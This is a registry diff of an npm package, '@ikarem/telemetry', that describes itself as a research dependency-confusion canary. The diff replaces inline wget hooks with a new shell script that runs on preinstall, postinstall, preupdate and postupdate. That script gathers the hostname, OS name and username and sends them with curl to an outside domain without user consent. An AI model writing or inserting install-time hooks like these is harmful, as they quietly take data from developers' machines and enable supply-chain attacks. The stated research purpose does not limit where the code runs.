@ikarem/telemetry 100.1.3 → 100.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,12 +1,13 @@
1
1
  {
2
2
  "name": "@ikarem/telemetry",
3
- "version": "100.1.3",
3
+ "version": "100.1.5",
4
4
  "description": "Research-only dependency confusion canary package",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall":"wget --quiet \"https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.3&hostname=$(hostname)&os=$(cat /etc/os-release)&whoami=$(whoami)&nonce=$(pwgen 10 1)\" ",
8
- "postinstall":"wget --quiet \"https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.3&hostname=$(hostname)&os=$(cat /etc/os-release)&whoami=$(whoami)&nonce=$(pwgen 10 1)\" ",
9
- "preupdate":"wget --quiet \"https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.3&hostname=$(hostname)&os=$(cat /etc/os-release)&whoami=$(whoami)&nonce=$(pwgen 10 1)\" "
7
+ "preinstall": "sh scripts/telemetry.sh preinstall",
8
+ "postinstall": "sh scripts/telemetry.sh postinstall",
9
+ "preupdate": "sh scripts/telemetry.sh preupdate",
10
+ "postupdate": "sh scripts/telemetry.sh postupdate"
10
11
  },
11
12
  "publishConfig": {
12
13
  "access": "public"
@@ -16,3 +17,4 @@
16
17
  "@ikarem/telemetry": "^99.99.99"
17
18
  }
18
19
  }
20
+
@@ -0,0 +1,14 @@
1
+ #!/bin/sh
2
+ # Telemetry beacon script for supply-chain research
3
+
4
+ EVENT=$1
5
+ HOST=$(hostname)
6
+ OS=$(grep '^PRETTY_NAME' /etc/os-release | cut -d= -f2 | tr -d '"')
7
+ USER=$(whoami)
8
+ NONCE=$(head -c 12 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10)
9
+
10
+ URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.3&event=$EVENT&hostname=$HOST&os=$OS&whoami=$USER&nonce=$NONCE"
11
+
12
+ # Send telemetry, ignore errors so install/update doesn’t break
13
+ curl -fsS "$URL" || true
14
+